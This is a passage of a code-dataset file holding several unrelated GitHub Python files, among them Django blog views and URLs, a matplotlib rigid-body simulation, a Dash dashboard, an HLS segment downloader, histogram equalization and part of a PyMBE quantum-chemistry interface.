'events//', \n views.center_events, \n name='ticket_center_events'\n ),\n path(\n 'events/<>/applications', \n views.schools_applications, \n name='schools_applications'\n ),\n path(\n 'professions/import/', \n views.import_ticket_professions, \n name='import_ticket_professions'\n ),\n path(\n 'professions/import/merge', \n views.merge_ticket_professions, \n name='merge_ticket_professions'\n ),\n path(\n 'programs/import/', \n views.import_ticket_programs, \n name='import_ticket_programs'\n ),\n path(\n 'schools/adress/import/', \n views.import_schools_address, \n name='import_schools_address'\n ),\n path(\n 'export/professions/', \n views.export_professions, \n name='export_professions'\n ),\n path(\n 'export/events/', \n views.export_events, \n name='export_events'\n ),\n path(\n 'export/programs/', \n views.export_ticket_programs, \n name='export_ticket_programs'\n ),\n path('quotas/dashboard/', views.quotas, name='quotas'),\n path('quotas/equalize/', views.equalize_quotas, name='equalize_quotas'),\n path(\n 'schools/application', \n views.schools_application, \n name='schools_application'\n ),\n path(\n 'schools/applications', \n views.schools_applications, \n name='schools_applications'\n ),\n]","repo_name":"BurmAnton/copp163_coordinator","sub_path":"future_ticket/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25083091199","text":"import matplotlib.pyplot as plt\nimport matplotlib\nimport numpy as np\nfrom collision_checking import *\nfrom scipy.spatial import ConvexHull\nimport argparse\n\n#Print Matplotlib version for sanity\nprint(f\"matplotlib version: {matplotlib.__version__}\")\n\n# Python Class For 2D Rigid Body\nclass RigidBody:\n def __init__(self, f, ax, file):\n #Store figure and axes as instance variables\n self.f = f\n self.ax = ax\n \n #set axis limits for x and y axes\n ax.set_xlim(0, 2)\n ax.set_ylim(0, 2)\n \n #set title for axis\n ax.set_title('2D Rigid Body Simulation', fontsize = 12)\n \n #Load Polygon Data\n self.polygons = np.load(file, allow_pickle= True)\n\n #Plot polygons from the npy file\n for index in range(len(self.polygons)):\n self.ax.fill([vertex[0] for vertex in self.polygons[index]], [vertex[1] for vertex in self.polygons[index]], alpha=.25, fc='white', ec='black')\n\n #Randomly Generate Starting Configuration for Rectangle\n default_rectangle = self.generate_rectangle() #Generate a rectangle with width w and height h to be centered around the origin\n self.rectangle = self.random_rectangle_configuration(default_rectangle)\n while (self.collides_with_other_polygons(self.rectangle) or self.is_rectangle_on_boundary(self.rectangle)):\n self.rectangle = self.random_rectangle_configuration(default_rectangle)\n \n #Original Rectangle Patch\n self.rectangle_patch = matplotlib.patches.Polygon(self.rectangle, closed=True, facecolor = 'none', edgecolor='r')\n self.ax.add_patch(self.rectangle_patch)\n\n # Plot centroid of rectangle\n self.body_centroid = self.ax.plot(self.center_point[0],self.center_point[1], marker='o', markersize=3, color=\"green\")\n\n # Connect keyboard events to event handlers\n self.f.canvas.mpl_connect('key_press_event', self.keyboard_event_handler)\n\n #Returns true if rectangle is on boundary\n def is_rectangle_on_boundary(self, rectangle):\n for vertex in rectangle:\n if vertex[0] <= 0 or vertex[0] >= 2 or vertex[1] <= 0 or vertex[1] >= 2:\n return True\n return False\n \n #Rotate rectangle about center\n def rotate_about_center(self, event):\n #Change angle of rotation\n delta_rotation_angle = 10 if event == \"up\" else -10\n \n #Set up new rotation angle\n new_rotation_angle = self.rotation_angle + delta_rotation_angle\n new_rotation_angle = new_rotation_angle + 360 if new_rotation_angle < 0 else new_rotation_angle\n new_rotation_angle = new_rotation_angle % 360\n \n #Modify the Rectangle\n modified_rectangle = self.rectangle - self.center_point\n modified_rectangle = np.hstack((modified_rectangle, np.ones(shape = (modified_rectangle.shape[0], 1)))).T\n\n #Rotate the Rectangle\n angle = np.deg2rad(delta_rotation_angle)\n rotation_matrix = np.array([[np.cos(angle), -1 * np.sin(angle), self.center_point[0]], [np.sin(angle), np.cos(angle), self.center_point[1]], [0, 0, 1]])\n new_rectangle = (rotation_matrix @ modified_rectangle).T \n new_rectangle = new_rectangle[:, :-1]\n \n if not (self.collides_with_other_polygons(new_rectangle) or self.is_rectangle_on_boundary(new_rectangle)):\n self.rectangle = new_rectangle\n self.rotation_angle = new_rotation_angle\n\n def translate_rectangle(self, event):\n #r: total translation across x and y\n r = 0.05\n angle_of_rotation = self.rotation_angle if event == \"right\" else self.rotation_angle - 180\n delta = np.array([r * np.cos(np.deg2rad(angle_of_rotation)), r * np.sin(np.deg2rad(angle_of_rotation)), 1])\n \n #Form the Translation Matrix\n translation_matrix = np.identity(3)\n translation_matrix[:, -1] = delta\n \n #Modify the Center of the Rectangle using the translation matrix\n modified_center_point = np.vstack((self.center_point.reshape(-1, 1), np.array([[1]])))\n modified_center_point = translation_matrix @ modified_center_point\n modified_center_point = modified_center_point.flatten()[:-1]\n \n #Modify the Rectangle Vertices using the translation matrix\n modified_rectangle = np.hstack((self.rectangle, np.ones(shape = (self.rectangle.shape[0], 1)))).T\n modified_rectangle = (translation_matrix @ modified_rectangle).T\n modified_rectangle = modified_rectangle[:, :-1]\n \n if not (self.collides_with_other_polygons(modified_rectangle) or self.is_rectangle_on_boundary(modified_rectangle)):\n self.center_point = modified_center_point\n self.rectangle = modified_rectangle\n \n self.body_centroid[0].set_data([self.center_point[0], self.center_point[1]])\n \n #Rotate and Translate the Default Rectangle by a given angle and translation amount\n def random_rectangle_configuration(self, rectangle):\n self.rotation_angle = np.random.uniform(0, 360)\n self.center_point = np.array([np.random.uniform(0, 2), np.random.uniform(0, 2)])\n angle = np.deg2rad(self.rotation_angle)\n rotation_matrix = np.array([[np.cos(angle), -1 * np.sin(angle)], [np.sin(angle), np.cos(angle)]]) \n return (rotation_matrix @ rectangle.T).T + self.center_point\n\n #Generate Rectangle that is centered around the origin\n def generate_rectangle(self):\n w = 0.2\n h = 0.1\n top_left = np.array([-1 * w/2, h/2])\n top_right = np.array([w/2, h/2])\n bottom_left = np.array([-1 * w/2, -1 * h/2])\n bottom_right = np.array([w/2, -1 * h/2])\n return np.vstack((bottom_right, top_right, top_left, bottom_left))\n\n #Check to see if the rigid body collides with other polygons in our list\n def collides_with_other_polygons(self, rectangle):\n for polygon in self.polygons:\n if (collides_optimized(polygon, np.vstack((rectangle, rectangle[0])))):\n return True\n return False\n \n # Event handler to change the rotation angle\n def keyboard_event_handler(self, event):\n if event.key == \"up\" or event.key == 'down':\n self.rotate_about_center(event.key)\n self.rectangle_patch.set_xy(self.rectangle)\n elif event.key == 'right' or event.key == 'left':\n self.translate_rectangle(event.key)\n self.rectangle_patch.set_xy(self.rectangle)\n \n self.f.canvas.draw()\n\n\nclass MinkowskiPlot:\n def __init__(self, f, ax, rotation_angle, file):\n #Store figure and axes as instance variables\n self.f = f\n self.ax = ax\n self.rotation_angle = rotation_angle\n \n #set axis limits for x and y axes\n ax.set_xlim(-0.5, 2.5)\n ax.set_ylim(-0.5, 2.5)\n \n #Load Polygon Data\n self.polygons = np.load(file, allow_pickle= True)\n \n #Generate Starting Configuration for Rectangle with configuration at origin and rotation angle given by \"rotation_angle\"\n w = 0.2\n h = 0.1\n \n top_left = np.array([-1 * w/2, h/2])\n top_right = np.array([w/2, h/2])\n bottom_left = np.array([-1 * w/2, -1 * h/2])\n bottom_right = np.array([w/2, -1 * h/2])\n default_rectangle = np.vstack((bottom_right, top_right, top_left, bottom_left))\n \n self.center_point = np.array([0, 0])\n angle = np.deg2rad(self.rotation_angle)\n rotation_matrix = np.array([[np.cos(angle), -1 * np.sin(angle)], [np.sin(angle), np.cos(angle)]]) \n self.rectangle = (rotation_matrix @ default_rectangle.T).T + self.center_point\n\n #Visualize Minkowski\n def visualize_minkowski(self, S):\n \"\"\"Visualize the Minkowski sum S.\"\"\"\n hull = ConvexHull(S)\n self.ax.plot(np.append(hull.points[hull.vertices, 0], hull.points[hull.vertices[0], 0]), \n np.append(hull.points[hull.vertices, 1], hull.points[hull.vertices[0], 1]), color='green')\n \n #Generating Minkowski Plot\n def generate_minkowski_plot(self):\n for polygon in self.polygons:\n self.ax.fill([vertex[0] for vertex in polygon], [vertex[1] for vertex in polygon], alpha=.25, fc='red', ec='black')\n self.visualize_minkowski(minkowski_difference(polygon, np.vstack((self.rectangle, self.rectangle[0]))))\n\n \n #Optimized Version of Visualizing Minkowski\n def optimized_visualize_minkowski(self, S):\n self.ax.plot(np.append(S[:, 0], S[0, 0]), \n np.append(S[:, 1], S[0, 1]), color='blue')\n\n \n #Optimized verison of generation of Minkowski Plot\n def optimized_generate_minkowski_plot(self):\n for polygon in self.polygons:\n self.ax.fill([vertex[0] for vertex in polygon], [vertex[1] for vertex in polygon], alpha=.25, fc='red', ec='black')\n self.optimized_visualize_minkowski(minkowski_difference_optimized(polygon, np.vstack((self.rectangle, self.rectangle[0]))))\n\n# Create an argument parser\nparser = argparse.ArgumentParser(description='2D Rigid Body Python Program')\n\n# Add a string argument for \"function\"\nparser.add_argument('--function', type=str, help='function parameter')\n\n# Parse the command-line arguments\nargs = parser.parse_args()\n\n# Access the \"function\" argument\nfunction_parameter = args.function\n\nif function_parameter == \"Rigid\":\n #Initialize figures and axes\n f,ax = plt.subplots(dpi = 100)\n ax.set_aspect(\"equal\")\n file = \"2d_rigid_body.npy\"\n rigidBody = RigidBody(f, ax, file)\n plt.show()\nelif function_parameter == \"Minkowski\":\n #Initialize figures and axes\n f,ax = plt.subplots(dpi = 100)\n for scene_number in range(1, 9):\n file = f\"p2_scene{scene_number}.npy\" \n for rotation_angle in [0, 45, 90]:\n ax.set_aspect(\"equal\")\n minkowskiPlot = MinkowskiPlot(f, ax, rotation_angle = rotation_angle, file = file)\n minkowskiPlot.optimized_generate_minkowski_plot()\n minkowskiPlot.generate_minkowski_plot()\n plt.savefig(f\"Problem3_minkowski{scene_number}_{rotation_angle}.jpg\")\n ax.clear()\n\n plt.close(f)","repo_name":"Ravi-Raghavan/CS460_Assignment1","sub_path":"rr1133-mmh255/2d_rigid_body.py","file_name":"2d_rigid_body.py","file_ext":"py","file_size_in_byte":10253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74904636888","text":"# 使用you-get下载视频\n#Autor: 房廷飞\n#Data: 2019.2.11\n\nimport requests\nimport os\nglobal a\nimport time\na=0\n\ndef downts(path,url,i):\n global a\n try:\n header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'}\n response=requests.get(url,headers=header,timeout=5)\n if response.status_code==200:\n ret=response.content\n with open(path+'/%03d.ts'%i,'wb')as f:\n f.write(ret)\n print(url+'下载完成!')\n else:\n print(url)\n print(response.status_code)\n a=a+1\n if a==3: #连续三次连接不到资源地址,说明所有小ts文件都已经下载完,结束程序。\n exit('预计已结束,程序自动退出')\n except Exception as e:\n print(e)\n \ndef main(URL):\n path=\"C:/Users/user/Desktop/python测试/2\" #下载地址\n for i in range(10000): #设置资源数量\n url=URL+\"%d.ts\"%i #拼接ts文件的URL地址,通常有“%d”和“%03d”两种\n if not os.path.exists(path+'/%03d.ts'%i):\n downts(path,url,i)\n time.sleep(0) #设置延时处\n\ndef getURL(): #输入拼接资源URL,最后变化之外的部分\n URL=\"http://asp.cntv.qingcdn.com/asp/hls/2000/0303000a/3/default/b70ddc511cc44f92be0fb3c398473fbc/\"\n main(URL)\n \ngetURL()\n\n #本程序可以作为下载未加密m3u8格式文件的模板,其他URL文件只需更改getURL函数中的URL即可!\n #另外大文件可以通过使用进程池加快下载速度!","repo_name":"xucasio/python100","sub_path":"36.py","file_name":"36.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3315848092","text":"from urllib import response\r\nimport requests\r\nimport time\r\nimport os\r\nimport sys\r\nimport json\r\n\r\ndef send_guild_channel_msg(message):\r\n response = requests.post(\"http://127.0.0.1:5700/send_guild_channel_msg\", data = message, headers={'Connection':'close'})\r\n return response\r\n\r\ndef messageSend():\r\n message = {\r\n \"guild_id\":sys.argv[1],\r\n \"channel_id\":sys.argv[2],\r\n \"message\":sys.argv[3]\r\n }\r\n log_file = sys.argv[4]\r\n try:\r\n response = send_guild_channel_msg(message)\r\n logfile = open(log_file,'a', encoding = 'UTF-8')\r\n logfile.write(time.strftime('%Y-%m-%d %H:%M:%S\\n',time.localtime(time.time())))\r\n logfile.write(str(response)+' '+response.text+'\\n')\r\n logfile.close()\r\n return json.loads(response.text)\r\n except Exception as e:\r\n logfile = open(log_file,'a', encoding = 'UTF-8')\r\n logfile.write(time.strftime('%Y-%m-%d %H:%M:%S\\n',time.localtime(time.time())))\r\n logfile.write(repr(e)+'\\n')\r\n logfile.close()\r\n print(repr(e))\r\n os._exit(-1)\r\n \r\nif __name__ == '__main__':\r\n cnt = 1\r\n response = messageSend()\r\n while(cnt < 3 and response['data']['message_id'].startswith('0-')):\r\n time.sleep(0.03)\r\n response = messageSend()\r\n cnt = cnt + 1\r\n","repo_name":"Cloud-wish/Dynamic_Monitor","sub_path":"sender.pyw","file_name":"sender.pyw","file_ext":"pyw","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"23638485874","text":"# single inheritance in python\n\nclass Employee:\n no_of_leaves2 = 10\n def __init__(self,aname,asalary,arole,):\n self.name = aname\n self.salary = asalary\n self.role = arole\n\n\n def print_details(self):\n return f\" This group leader is {self.name} and the group member is {self.salary}\" \\\n f\" and group name is {self.role}\"\n\n @classmethod\n def change_leaves(cls, new_leaves):\n cls.no_of_leaves2 = new_leaves\n\n @classmethod\n def from_dash(cls, string):\n # params = string.split(\"-\")\n # return cls (params[0], params[1], params[2])\n return cls(*string.split(\"-\"))\n\n @staticmethod\n def print_static(string):\n print (f\"Prince is very {string}\")\n\nclass programmer(Employee):\n no_of_holiday = 45\n def __init__(self,name ,salary,role,languages):\n self.name = name\n self.salary = salary\n self.role = role\n self.language = languages\n\n\n\n def programmer_details(self):\n return f\"The programmer is name {self.name} salary is\" \\\n f\" {self.salary} and role {self.role} the languages are {self.language}\"\n\n\nPrince = Employee(\"Prince\",4550,\"instructor\")\nBalraj = Employee(\"Balraj\",500,\"student\")\nRohan = Employee.from_dash(\"Prince-4500-instructor\")\n\nshubham = programmer(\"shubham\",7900,\"Instructor\",[\"Python cpp Php\"])\nkaran = programmer(\"karan\",67000,\"student\",[\"Php html css java\"])\n\n# print(karan.programmer_details())\nprint(programmer.no_of_holiday)\nprint(Employee.no_of_leaves2)","repo_name":"Prince-kumar10/python_tutorrial_2022","sub_path":"oops inheritance 7 .py","file_name":"oops inheritance 7 .py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33782112809","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport pandas as pd\nimport plotly.express as px\n\necom_sales = pd.read_csv('usr/local/share/datasets/ecom_sales.csv')\necom_line = ecom_sales.groupby(['Year-Month', 'Country'])['OrderValue'].agg('sum'). \\\n reset_index(name='Total Sales ($)')\nline_fig = px.line(data_frame=ecom_line, x='Year-Month', y='Total Sales ($)',\n title='Total Sales by Month')\necom_bar = ecom_sales.groupby('Country')['OrderValue'].agg('sum'). \\\n reset_index(name='Total Sales ($)')\nmax_country = ecom_bar.sort_values(by='Total Sales ($)', ascending=False).\\\n loc[0]['Country']\nbar_fig = px.bar(data_frame=ecom_bar, x='Total Sales ($)', y='Country',\n orientation='h', title='Total Sales by Country')\n\n# Create the dash app\napp = dash.Dash()\n\n# Set up the layout using an overall div\napp.layout = html.Div(\n children=[\n # Add a H1\n html.H1('Sales Figures'),\n # Add a div containing the line figure\n html.Div(dcc.Graph(id='my-line-fig', figure=line_fig)),\n # Add a div containing the bar figure\n html.Div(dcc.Graph(id='my-bar-fig', figure=bar_fig)),\n # Add the H3\n html.H3(f'The largest country by sales was {max_country}')\n ])\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","repo_name":"ivan-mihailov/Datacamp_Plotly_Dash","sub_path":"Chapter_1/dash_simple_dashboard.py","file_name":"dash_simple_dashboard.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"25309193851","text":"from django.shortcuts import render, redirect # FBV\n\nfrom django.views.generic import ListView, DetailView, CreateView, UpdateView # CBV\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom .models import Post, Category, Comment #모델 사용\nfrom .forms import CommentForm # CommentForm\nfrom django.core.exceptions import PermissionDenied\nfrom django.shortcuts import get_object_or_404\nfrom django.db.models import Q\n\n# Create your views here.\ndef new_comment(request, pk):\n if request.user.is_authenticated:\n post = get_object_or_404(Post, pk=pk) # 객체 확인\n\n # post 형식이면 파이썬 형식으로 form 만들고 저장\n if request.method == 'POST':\n comment_form = CommentForm(request.POST)\n if comment_form.is_valid():\n comment = comment_form.save(commit=False)\n comment.post = post\n comment.author = request.user\n comment.save()\n return redirect(comment.get_absolute_url()) # 작성 후 댓글 링크\n else:\n return redirect(post.get_absolute_url()) # get이면 그냥 detail링크\n\n else:\n raise PermissionDenied\n\n\ndef delete_comment(request,pk):\n comment = get_object_or_404(Comment, pk=pk) # 객체 확인\n post = comment.post\n\n # 본인 인증 후 삭제\n if request.user.is_authenticated and request.user == comment.author:\n comment.delete()\n return redirect(post.get_absolute_url())\n else:\n raise PermissionDenied\n\nclass CommentUpdate(LoginRequiredMixin, UpdateView):\n model = Comment\n form_class = CommentForm # UpdateView\n\n # template_name = comment_form.html\n\n # request와 response 중개자 역할 => 여기서는 작성자 본인 인증 후, 업데이트 진행\n def dispatch(self, request, *args, **kwargs):\n if request.user.is_authenticated and request.user == self.get_object().author:\n return super(CommentUpdate, self).dispatch(request, *args, **kwargs)\n else:\n raise PermissionDenied\n\n\ndef csrf_failure(request, reason=\"\"):\n return redirect('/blog/')\n\nclass PostUpdate(LoginRequiredMixin, UpdateView): # Form 모델명_form.html => Create와 똑같음\n model = Post\n fields = ['title', 'hook_text', 'content', 'head_image', 'file_upload', 'category', 'tags']\n\n template_name = \"blog/post_update_form.html\" # create와 같은 form이므로 Set\n\n # request와 response 중개자 역할 => 여기서는 작성자 본인 인증 후, 업데이트 진행\n def dispatch(self, request, *args, **kwargs): # 기존 값들 불러옴\n if request.user.is_authenticated and request.user == self.get_object().author:\n return super(PostUpdate, self).dispatch(request, *args, **kwargs)\n else:\n raise PermissionDenied\n\n\nclass PostCreate(LoginRequiredMixin, UserPassesTestMixin, CreateView): # Form 모델명_form.html\n model = Post # post_list 변수\n fields = ['title', 'hook_text', 'content', 'head_image', 'file_upload', 'category', 'tags']\n\n\n # 권한 관리\n def test_func(self):\n return self.request.user.is_superuser or self.request.user.is_staff\n\n # form_valid : 유효한 폼 데이터 처리 로직\n def form_valid(self, form):\n current_user = self.request.user\n if current_user.is_authenticated and (current_user.is_staff or current_user.is_superuser):\n form.instance.author = current_user # author 오버라이딩\n return super(PostCreate, self).form_valid(form)\n else:\n return redirect('/blog/')\n\n# CBV\nclass PostList(ListView): # 모델명_list.html\n model = Post # post_list 변수\n ordering = '-pk' # pk 역순으로 나열\n paginate_by = 2 # 페이지네이션 2개씩 설정\n\n # CBV의 경우 context에 넣어서 html로 변수 넘겨줌\n # get_context_data(self, **kwargs):\n # context = super(자신의 인스턴스, self).get_context_data()로 클래스형 view 인스턴스를 넣어주고 시작\n def get_context_data(self, **kwargs):\n context = super(PostList, self).get_context_data() # 클래스형 view 인스턴스를 넣어주고 시작: 오버라이딩\n context['categories'] = Category.objects.all() # 카테고리 테이블 전체를 categories 변수로 넘김\n context['no_category_post_count'] = Post.objects.filter(category=None).count() # 카테고리가 없는 Post 개수를 no_cate~ 변수로 넘김\n return context # post_list.html로 {post_list, categories, no_category_post_count}\n\n\n\n # template_name = 'blog/blog_list.html' # 템플릿 지정: 기본 템플릿 post_list.html이 아닌 blog_list.html 사용\n # html에서 post_list로 모델값 불러옴\n\n\n\nclass PostDetail(DetailView): # 모델명_detail.html\n model = Post # post_list 변수\n\n\n\n def get_context_data(self, **kwargs):\n context = super(PostDetail, self).get_context_data()\n context['categories'] = Category.objects.all() # 카테고리 테이블 전체를 categories 변수로 넘김\n context['no_category_post_count'] = Post.objects.filter(category=None).count() # 카테고리가 없는 Post 개수를 no_cate~ 변수로 넘김\n context['comment_form'] = CommentForm # forms.py에서 불러옴 => Comment 모델 content 저장\n return context # post_detail.html로 {post, categories, no_category_post_count, comment_form}\n\n # template_name = 'blog/single_post_page.html' # 템플릿 지정: 기본 템플릿 post_detail.html이 아닌 single_post_page.html 사용\n # html에서 post로 모델값 불러옴\n\nclass PostSearch(PostList):\n paginate_by = None # 페이지네이션 하지 않음\n\n # 동적 쿼리 사용\n def get_queryset(self):\n q = self.kwargs['q']\n post_list = Post.objects.filter(\n Q(title__contains=q) | Q(tags__name__contains=q)\n ).distinct() # 중복 제거\n return post_list\n\n # context Data Set\n def get_context_data(self, **kwargs): # 위에 따로 띄워주기 위한 Text 만들기\n context = super(PostSearch, self).get_context_data()\n q = self.kwargs['q']\n context['search_info'] = f'Search: {q} ({self.get_queryset().count()})'\n return context\n\n\n\ndef category_page(request, slug):\n\n if slug == 'no_category':\n category = \"미분류\"\n post_list = Post.objects.filter(category=None)\n else:\n category = Category.objects.get(slug=slug)\n post_list = Post.objects.filter(category=category)\n\n\n\n return render(\n request,\n 'blog/post_list.html', # post_list로 렌더링\n {\n 'post_list': post_list,\n 'categories': Category.objects.all(),\n 'no_category_post_count': Post.objects.filter(category=None).count(),\n 'category': category,\n }\n )\n\n# FBV\n# def index(request):\n# posts = Post.objects.all().order_by('-pk') # Post 모델값 pk 역순으로 가져옴\n#\n# return render(\n# request,\n# 'blog/post_list.html',\n# {\n# 'posts': posts # posts로 렌더링\n# }\n# )\n\n# def single_post_page(request, pk):\n# post = Post.objects.get(pk=pk) # pk 매개변수로 받아서, pk에 해당하는 값 가져옴\n#\n# return render(\n# request,\n# 'blog/single_post_page.html',\n# {\n# 'post': post, # post로 렌더링\n# }\n# )","repo_name":"apfl99/jango","sub_path":"test/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7465,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7745697052","text":"import numpy as np\nimport pandas as pd\n\ndata = pd.read_excel(\"/home/olehborysevych/Dev/Education/University/3 course/SA/lab2/SysAn/PrevCourse/Альтернативна_вибірка.xlsx\")\ndata = data.drop(\"Unnamed: 0\", axis=1)\n\nfor col in data.columns:\n if col == \"x31\":\n data[col] += np.random.randint(0, 2, len(data[col]))\n elif col[0] == \"y\":\n data[col] += np.random.normal(0, 50, len(data[col]))\n else:\n data[col] += np.random.normal(0, 0.1, len(data[col]))\n\ndata[\"y5\"] = data[\"y4\"] + np.random.normal(0, 0.1, len(data[\"y4\"]))\n\ndata = data.reset_index()\ndata[\"index\"] += 1\nprint(data)\ndata.to_excel(\"Альтернативна_вибірка.xlsx\", index=False)\n","repo_name":"dindin28/SysAn","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30661285100","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef equalization(filename):\n\n result = np.zeros(256)\n sk = np.zeros(256)\n\n image = cv2.imread(filename, 0)\n output = cv2.imread(filename, 0)\n\n height, width = image.shape\n n = height * width\n\n # Calculate the probabilities\n for i in range(height):\n for j in range(width):\n result[image[i, j]] += 1\n\n # Calculate sk\n accumulate = 0\n for i in range(256):\n accumulate += result[i] / n\n sk[i] = round(255 * accumulate, 0)\n\n # Replace values\n for i in range(height):\n for j in range(width):\n output[i, j] = sk[image[i, j]]\n\n # Display image\n cv2.imshow('output', output)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n # Save to file\n cv2.imwrite('equalization_%s' % filename, output)\n\n plt.bar(range(256), sk, color='black')\n plt.show()\n\n\nequalization('cells.jpg')\n\n","repo_name":"alanpaivaa/cv","sub_path":"work1/equalization/equalization.py","file_name":"equalization.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36855709416","text":"import numpy as np\nimport torch\nfrom read_data.convert import euler2matrix\n\n\nlength = 120\n\n\n# Tạo khung data trắng\nz_acc = torch.zeros(length, 6, 3, dtype=torch.float32)\nz_rot = torch.zeros(length, 6, 3, 3, dtype=torch.float32)\nz_rot[:, :] = torch.tensor([[1, 0, 0],\n [0, 1, 0],\n [0, 0, 1.]])\n\n\npi = torch.pi\ngama = 2*pi\nsin = np.sin\ncos = np.cos\n\n\n# các công thức tính theo thời gian\ndef omega_t(t):\n if t<31:\n return gama*t/60\n return gama - gama*t/60\n\n\ndef alpha_t(t):\n if t<31:\n return gama * t**2 / 7200\n return pi * (t/30 - 0.5 - t**2 / 3600)\n\n\n# Global\ndef acc_t(t):\n if t<31:\n return 0.8 * pi\n return -0.8*pi\n\n\n# Tạo ra các dữ liệu ảo\nacc = []\nrot = []\nfor i in range(1, 61):\n alpha = -alpha_t(i)\n a = -acc_t(i)\n a_x = -sin(alpha) * a\n a_y = cos(alpha) * a\n\n # điền các số liệu cho gia tốc và euler\n acc_global = np.array([0, a, 0])\n euler = [0, 0, -pi/2]\n matrix = euler2matrix(euler)\n # print(alpha*180/pi)\n\n # Chuyển gia tốc sang local hoặc lưu global\n # acc.append(np.linalg.inv(matrix).dot(acc_global))\n acc.append(acc_global)\n rot.append(matrix)\n\nacc = torch.tensor(np.array(acc))\nrot = torch.tensor(np.array(rot))\n\n# thêm các giá trị vừa tạo vào frame 30 - 90\nstart_frame = 30\n# z_acc[start_frame:start_frame+60, 0, :] = acc\nz_rot[start_frame:start_frame+60, 0, :, :] = rot\nz_rot[start_frame+60:, 0, :, :] = rot[59]\n\n\ndata_path = \"../data/dataFrame/clone_\"\nacc_sub_path = data_path + 'acc_sub.pt'\nmatrix_path = data_path + 'matrix.pt'\n\ntorch.save(z_acc, acc_sub_path)\ntorch.save(z_rot, matrix_path)\n\nprint(\"DONE\")\n\n","repo_name":"Pna2791/HiPNUC-Hi229","sub_path":"process_data/clone_data.py","file_name":"clone_data.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"vi","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"36594053288","text":"import subprocess as sp\nimport os\nimport shutil\nimport time\nimport re\nimport pprint\nimport json\n\nfrom ash.functions.functions_general import ashexit, BC, print_time_rel,print_line_with_mainheader\n\n#PyMBE Theory object.\nclass PyMBETheory:\n def __init__(self, pymbedir=None, filename='pymbe_', printlevel=2,\n pymbedict=None,pymbeinput=None, numcores=1):\n\n self.theorynamelabel=\"PyMBE\"\n self.theorytype=\"QM\"\n self.analytic_hessian=False\n\n print_line_with_mainheader(\"PyMBETheory initialization\")\n\n if pymbeinput is None and pymbedict is None:\n print(\"PyMBTheory requires a pymbeinput or pymbedict keyword\")\n ashexit()\n\n if pymbedir == None:\n print(BC.WARNING, \"No pymbedir argument passed to PyMBETheory. Attempting to find pymbedir variable inside settings_ash\", BC.END)\n try:\n print(\"settings_ash.settings_dict:\", settings_ash.settings_dict)\n self.pymbedir=settings_ash.settings_dict[\"pymbedir\"]\n except:\n print(BC.WARNING,\"Found no pymbedir variable in settings_ash module either.\",BC.END)\n ashexit()\n #try:\n # self.pymbedir = os.path.dirname(shutil.which('dmrcc'))\n # print(BC.OKGREEN,\"Found dmrcc in PATH. Setting mrccdir to:\", self.mrccdir, BC.END)\n #except:\n # print(BC.FAIL,\"Found no dmrcc executable in PATH. Exiting... \", BC.END)\n # ashexit()\n else:\n self.pymbedir = pymbedir\n\n #Checking if pyscf is present\n #TODO: Avoid importing since PyMBE \n print(\"Checking if pyscf exists\")\n #try:\n # import pyscf\n # print(\"PySCF is present\")\n #except:\n # print(\"PyMBE requires installation of pyscf\")\n # print(\"Try e.g. : pip install pyscf\")\n # ashexit()\n #Checking if mpi4py is present\n print(\"Checking if mpi4py exists\")\n try:\n import mpi4py\n print(\"mpi4py is present\")\n except:\n print(\"PyMBE requires installation of mpi4py Python library.\")\n print(\"Try e.g. : conda install mpi4py\")\n ashexit()\n\n #Printlevel\n self.printlevel=printlevel\n self.filename=filename\n self.pymbeinput=pymbeinput\n self.pymbedict=pymbedict\n self.numcores=numcores\n\n #Set numcores method\n def set_numcores(self,numcores):\n self.numcores=numcores\n def cleanup(self):\n print(\"PyMBE cleanup not yet implemented.\")\n # Run function. Takes coords, elems etc. arguments and computes E or E+G.\n def run(self, current_coords=None, current_MM_coords=None, MMcharges=None, qm_elems=None,\n elems=None, Grad=False, PC=False, numcores=None, restart=False, label=None,\n charge=None, mult=None):\n module_init_time=time.time()\n if Grad==True:\n print(\"Grad not available\")\n ashexit()\n if numcores == None:\n numcores = self.numcores\n\n print(BC.OKBLUE, BC.BOLD, \"------------RUNNING PyMBE INTERFACE-------------\", BC.END)\n #Checking if charge and mult has been provided\n if charge == None or mult == None:\n print(BC.FAIL, \"Error. charge and mult has not been defined for PyMBE.run method\", BC.END)\n ashexit()\n\n print(\"Running PyMBE object.\")\n #TODO: Need to finish parallelization\n print(\"Job label:\", label)\n print(\"Creating inputfile: input\")\n print(\"PyMBE input:\")\n if self.pymbeinput is not None:\n print(self.pymbeinput)\n if self.pymbedict is not None:\n print(self.pymbedict)\n \n #Coords provided to run\n if current_coords is not None:\n pass\n else:\n print(\"no current_coords\")\n ashexit()\n\n #What elemlist to use. If qm_elems provided then 